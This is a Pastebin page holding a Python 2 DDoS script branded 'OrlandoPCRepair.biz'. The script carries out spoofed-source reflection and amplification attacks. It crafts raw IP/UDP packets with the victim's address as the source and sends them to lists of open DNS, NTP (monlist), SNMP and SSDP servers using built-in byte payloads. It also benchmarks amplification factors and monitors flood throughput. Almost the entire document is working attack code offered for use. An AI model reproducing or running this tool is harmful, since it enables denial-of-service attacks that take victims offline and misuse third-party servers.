Guest User

OrlandoPCRepair.biz | NTP/DNS/SSDP/SNMP Amplification Script

a guest
Feb 18th, 2017
3,560
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.93 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import sys
  3. import time
  4. import socket
  5. import struct
  6. import threading
  7. from random import randint
  8. from optparse import OptionParser
  9. from pinject import IP, UDP
  10.  
  11. USAGE = '''
  12. %prog target.com [options]        # DDoS
  13. %prog benchmark [options]         # Calculate AMPLIFICATION factor
  14. '''
  15.  
  16. LOGO = r'''
  17.   ___        _                 _       ___   ___  ___                   _         _     _    
  18.  / _ \ _ _ | | __ _  _ _   __| | ___ | _ \ / __|| _ \ ___  _ __  __ _ (_) _ _   | |__ (_) ___
  19. | (_) || '_|| |/ _` || ' \ / _` |/ _ \|  _/| (__ |   // -_)| '_ \/ _` || || '_|_ | '_ \| ||_ /
  20.  \___/ |_|  |_|\__,_||_||_|\__,_|\___/|_|   \___||_|_\\___|| .__/\__,_||_||_| (_)|_.__/|_|/__|
  21.                                                            |_|                                
  22.         www.OrlandoPCRepair.biz
  23.     https://youtube.com/user/OrlandoPCRepair
  24.        https://twitter.com/OrlandoPCRepair
  25. '''
  26.  
  27. HELP = (
  28.     'DNS Amplification File and Domains to Resolve (e.g: dns.txt:[evildomain.com|domains_file.txt]',
  29.     'NTP Amplification file',
  30.     'SNMP Amplification file',
  31.     'SSDP Amplification file',
  32.     'Number of threads (default=1)' )
  33.  
  34. OPTIONS = (
  35.     (('-d', '--dns'), dict(dest='dns', metavar='FILE:FILE|DOMAIN', help=HELP[0])),
  36.     (('-n', '--ntp'), dict(dest='ntp', metavar='FILE', help=HELP[1])),
  37.     (('-s', '--snmp'), dict(dest='snmp', metavar='FILE', help=HELP[2])),
  38.     (('-p', '--ssdp'), dict(dest='ssdp', metavar='FILE', help=HELP[3])),
  39.     (('-t', '--threads'), dict(dest='threads', type=int, default=1, metavar='N', help=HELP[4])) )
  40.  
  41. BENCHMARK = (
  42.     'Protocol'
  43.     '|  IP  Address  '
  44.     '|     Amplification     '
  45.     '|     Domain    '
  46.     '\n{}').format('-'*75)
  47.  
  48. ATTACK = (
  49.     '     Sent      '
  50.     '|    Traffic    '
  51.     '|    Packet/s   '
  52.     '|     Bit/s     '
  53.     '\n{}').format('-'*63)
  54.  
  55. PORT = {
  56.     'dns': 53,
  57.     'ntp': 123,
  58.     'snmp': 161,
  59.     'ssdp': 1900 }
  60.  
  61. PAYLOAD = {
  62.     'dns': ('{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01'
  63.             '{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00'
  64.             '\x00\x00\x00\x00\x00\x00'),
  65.     'snmp':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c'
  66.         '\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01'
  67.         '\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06'
  68.         '\x01\x02\x01\x05\x00'),
  69.     'ntp':('\x17\x00\x02\x2a'+'\x00'*4),
  70.     'ssdp':('M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n'
  71.         'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
  72. }
  73.  
  74. amplification = {
  75.     'dns': {},
  76.     'ntp': {},
  77.     'snmp': {},
  78.     'ssdp': {} }        # Amplification factor
  79.  
  80. FILE_NAME = 0           # Index of files names
  81. FILE_HANDLE = 1         # Index of files descriptors
  82.  
  83. npackets = 0            # Number of packets sent
  84. nbytes = 0              # Number of bytes reflected
  85. files = {}              # Amplifications files
  86.  
  87. SUFFIX = {
  88.     0: '',
  89.     1: 'K',
  90.     2: 'M',
  91.     3: 'G',
  92.     4: 'T'}
  93.  
  94. def Calc(n, d, unit=''):
  95.     i = 0
  96.     r = float(n)
  97.     while r/d>=1:
  98.         r = r/d
  99.         i+= 1
  100.     return '{:.2f}{}{}'.format(r, SUFFIX[i], unit)
  101.  
  102. def GetDomainList(domains):
  103.     domain_list = []
  104.  
  105.     if '.TXT' in domains.upper():
  106.         file = open(domains, 'r')
  107.         content = file.read()
  108.         file.close()
  109.         content = content.replace('\r', '')
  110.         content = content.replace(' ', '')
  111.         content = content.split('\n')
  112.         for domain in content:
  113.             if domain:
  114.                 domain_list.append(domain)
  115.     else:
  116.         domain_list = domains.split(',')
  117.     return domain_list
  118.  
  119. def Monitor():
  120.     '''
  121.         Monitor attack
  122.     '''
  123.     print ATTACK
  124.     FMT = '{:^15}|{:^15}|{:^15}|{:^15}'
  125.     start = time.time()
  126.     while True:
  127.         try:
  128.             current = time.time() - start
  129.             bps = (nbytes*8)/current
  130.             pps = npackets/current
  131.             out = FMT.format(Calc(npackets, 1000),
  132.                 Calc(nbytes, 1024, 'B'), Calc(pps, 1000, 'pps'), Calc(bps, 1000, 'bps'))
  133.             sys.stderr.write('\r{}{}'.format(out, ' '*(60-len(out))))
  134.             time.sleep(1)
  135.         except KeyboardInterrupt:
  136.             print '\nInterrupted'
  137.             break
  138.         except Exception as err:
  139.             print '\nError:', str(err)
  140.             break
  141.            
  142.  
  143. def AmpFactor(recvd, sent):
  144.     return '{}x ({}B -> {}B)'.format(recvd/sent, sent, recvd)
  145.  
  146. def Benchmark(ddos):
  147.     print BENCHMARK
  148.     i = 0
  149.     for proto in files:
  150.         f = open(files[proto][FILE_NAME], 'r')
  151.         while True:
  152.             soldier = f.readline().strip()
  153.             if soldier:
  154.                 if proto=='dns':
  155.                     for domain in ddos.domains:
  156.                         i+= 1
  157.                         recvd, sent = ddos.GetAmpSize(proto, soldier, domain)
  158.                         if recvd/sent:
  159.                             print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
  160.                                 AmpFactor(recvd, sent), domain)
  161.                         else:
  162.                             continue
  163.                 else:
  164.                     recvd, sent = ddos.GetAmpSize(proto, soldier)
  165.                     print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
  166.                         AmpFactor(recvd, sent), 'N/A')
  167.                     i+= 1
  168.             else:
  169.                 break
  170.         print 'Total tested:', i
  171.         f.close()
  172.  
  173. class DDoS(object):
  174.     def __init__(self, target, threads, domains, event):
  175.         self.target = target
  176.         self.threads = threads
  177.         self.event = event
  178.         self.domains = domains
  179.     def stress(self):
  180.         for i in range(self.threads):
  181.             t = threading.Thread(target=self.__attack)
  182.             t.start()
  183.     def __send(self, sock, soldier, proto, payload):
  184.         '''
  185.             Send a Spoofed Packet
  186.         '''
  187.         udp = UDP(randint(1, 65535), PORT[proto], payload).pack(self.target, soldier)
  188.         ip = IP(self.target, soldier, udp, proto=socket.IPPROTO_UDP).pack()
  189.         sock.sendto(ip+udp+payload, (soldier, PORT[proto]))
  190.     def GetAmpSize(self, proto, soldier, domain=''):
  191.         '''
  192.             Get Amplification Size
  193.         '''
  194.         sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  195.         sock.settimeout(2)
  196.         data = ''
  197.         if proto in ['ntp', 'ssdp']:
  198.             packet = PAYLOAD[proto]
  199.             sock.sendto(packet, (soldier, PORT[proto]))
  200.             try:
  201.                 while True:
  202.                     data+= sock.recvfrom(65535)[0]
  203.             except socket.timeout:
  204.                 sock.close()
  205.                 return len(data), len(packet)
  206.         if proto=='dns':
  207.             packet = self.__GetDnsQuery(domain)
  208.         else:
  209.             packet = PAYLOAD[proto]
  210.         try:
  211.             sock.sendto(packet, (soldier, PORT[proto]))
  212.             data, _ = sock.recvfrom(65535)
  213.         except socket.timeout:
  214.             data = ''
  215.         finally:
  216.             sock.close()
  217.         return len(data), len(packet)
  218.     def __GetQName(self, domain):
  219.         '''
  220.             QNAME A domain name represented as a sequence of labels
  221.             where each label consists of a length
  222.             octet followed by that number of octets
  223.         '''
  224.         labels = domain.split('.')
  225.         QName = ''
  226.         for label in labels:
  227.             if len(label):
  228.                 QName += struct.pack('B', len(label)) + label
  229.         return QName
  230.     def __GetDnsQuery(self, domain):
  231.         id = struct.pack('H', randint(0, 65535))
  232.         QName = self.__GetQName(domain)
  233.         return PAYLOAD['dns'].format(id, QName)
  234.     def __attack(self):
  235.         global npackets
  236.         global nbytes
  237.         _files = files
  238.         for proto in _files:    # Open Amplification files
  239.             f = open(_files[proto][FILE_NAME], 'r')
  240.             _files[proto].append(f)     # _files = {'proto':['file_name', file_handle]}
  241.         sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
  242.         i = 0
  243.         while self.event.isSet():
  244.             for proto in _files:
  245.                 soldier = _files[proto][FILE_HANDLE].readline().strip()
  246.                 if soldier:
  247.                     if proto=='dns':
  248.                         if not amplification[proto].has_key(soldier):
  249.                             amplification[proto][soldier] = {}
  250.                         for domain in self.domains:
  251.                             if not amplification[proto][soldier].has_key(domain):
  252.                                 size, _ = self.GetAmpSize(proto, soldier, domain)
  253.                                 if size==0:
  254.                                     break
  255.                                 elif size<len(PAYLOAD[proto]):
  256.                                     continue
  257.                                 else:
  258.                                     amplification[proto][soldier][domain] = size
  259.                             amp = self.__GetDnsQuery(domain)
  260.                             self.__send(sock, soldier, proto, amp)
  261.                             npackets += 1
  262.                             i+=1
  263.                             nbytes += amplification[proto][soldier][domain]
  264.                     else:
  265.                         if not amplification[proto].has_key(soldier):
  266.                             size, _ = self.GetAmpSize(proto, soldier)
  267.                             if size<len(PAYLOAD[proto]):
  268.                                 continue
  269.                             else:
  270.                                 amplification[proto][soldier] = size
  271.                         amp = PAYLOAD[proto]
  272.                         npackets += 1
  273.                         i+=1
  274.                         nbytes += amplification[proto][soldier]
  275.                         self.__send(sock, soldier, proto, amp)
  276.                 else:
  277.                     _files[proto][FILE_HANDLE].seek(0)
  278.         sock.close()
  279.         for proto in _files:
  280.             _files[proto][FILE_HANDLE].close()
  281.  
  282. def main():
  283.     parser = OptionParser(usage=USAGE)
  284.     for args, kwargs in OPTIONS:
  285.         parser.add_option(*args, **kwargs)
  286.     options, args = parser.parse_args()
  287.     domains = None
  288.     if len(args)<1:
  289.         parser.print_help()
  290.         sys.exit()
  291.     if options.dns:
  292.         dns_file, domains = options.dns.split(':')
  293.         domains = GetDomainList(domains)
  294.         if domains:
  295.             files['dns'] = [dns_file]
  296.         else:
  297.             print 'Specify domains to resolve (e.g: --dns=dns.txt:evildomain.com)'
  298.             sys.exit()
  299.     if options.ntp:
  300.         files['ntp'] = [options.ntp]
  301.     if options.snmp:
  302.         files['snmp'] = [options.snmp]
  303.     if options.ssdp:
  304.         files['ssdp'] = [options.ssdp]
  305.     if files:
  306.         event = threading.Event()
  307.         event.set()
  308.         if 'BENCHMARK'==args[0].upper():
  309.             ddos = DDoS(args[0], options.threads, domains, event)
  310.             Benchmark(ddos)
  311.         else:
  312.             ddos = DDoS(socket.gethostbyname(args[0]), options.threads, domains, event)
  313.             ddos.stress()
  314.             Monitor()
  315.             event.clear()
  316.     else:
  317.         parser.print_help()
  318.         sys.exit()
  319.  
  320. if __name__=='__main__':
  321.     print LOGO
  322.     main()
Advertisement
Add Comment
Please, Sign In to add comment